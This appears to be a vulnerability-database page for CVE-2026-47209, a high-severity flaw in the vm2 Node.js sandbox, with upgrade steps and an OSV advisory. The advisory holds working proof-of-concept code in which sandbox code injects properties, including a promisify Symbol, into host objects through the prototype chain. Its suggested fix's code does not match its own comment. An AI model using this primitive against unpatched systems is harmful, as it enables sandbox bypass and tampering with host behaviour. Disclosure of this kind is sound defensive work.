CVE-2026-47209: Vm2 Vm2's Bridge Proxy Set Trap Vulnerability
HIGHCVE-2026-47209 is a HIGH (CVSS 8.6) vm2's bridge proxy set trap vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2's bridge proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain. Remediation is available by upgrading affected packages to version 3.11.4.
CVE-2026-47209 at a Glance
Security Impact
CVSS: 8.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).
How to Fix CVE-2026-47209
To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install vm2@3.11.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls vm2
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-47209, inspect your project dependencies using npm:
npm ls vm2
Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.4), your application is affected.
Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47209 Affected Vm2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
vm2
|
npm |
< 3.11.4
|
3.11.4
|
References
Frequently Asked Questions
What is CVE-2026-47209?
Which Vm2 versions are affected?
What version fixes CVE-2026-47209?
Is vm2 affected?
What is the CVSS score of CVE-2026-47209?
What CWE is associated with CVE-2026-47209?
How can I check npm dependencies for CVE-2026-47209?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c4cf-2hgv-2qv6",
"modified" : "2026-06-12T19:30:05Z",
"published" : "2026-05-29T17:49:18Z",
"aliases" : [ "CVE-2026-47209" ],
"summary" : "vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain",
"details" : "## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n validateHandlerTarget(this, target);\n const object = getHandlerObject(this);\n if (isProtectedHostObject(object)) throw new VMError(OPNA);\n // ...\n try {\n value = otherFromThis(value);\n return otherReflectSet(object, key, value) === true;\n // BUG: 'receiver' is never used.\n // Should check if receiver !== proxy and handle accordingly.\n } catch (e) {\n throw thisFromOtherForThrow(e);\n }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = 'attacker-value';\n// hostObj now has 'injectedProp' on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n return Promise.resolve('attacker-controlled');\n};\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, 'ok'); };\nvm.setGlobal('hostFn', hostFn);\n\nvm.run(`\n const kCustom = Symbol.for('nodejs.util.promisify.custom');\n const child = Object.create(hostFn);\n child[kCustom] = function() {\n return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\n };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified('test').then(r => console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n validateHandlerTarget(this, target);\n const object = getHandlerObject(this);\n if (isProtectedHostObject(object)) throw new VMError(OPNA);\n if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {\n return this.setPrototypeOf(target, value);\n }\n if (key === 'constructor' && thisArrayIsArray(object)) {\n thisReflectSet(target, key, value);\n return true;\n }\n try {\n value = otherFromThis(value);\n // When receiver is not the proxy itself, set on receiver (this-realm)\n // instead of the host target to preserve prototype-chain semantics.\n return otherReflectSet(object, key, value) === true;\n } catch (e) {\n throw thisFromOtherForThrow(e);\n }\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "vm2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.11.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.11.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47209"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patriksimek/vm2"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-29T17:49:18Z",
"nvd_published_at" : "2026-06-12T15:16:28Z"
}
}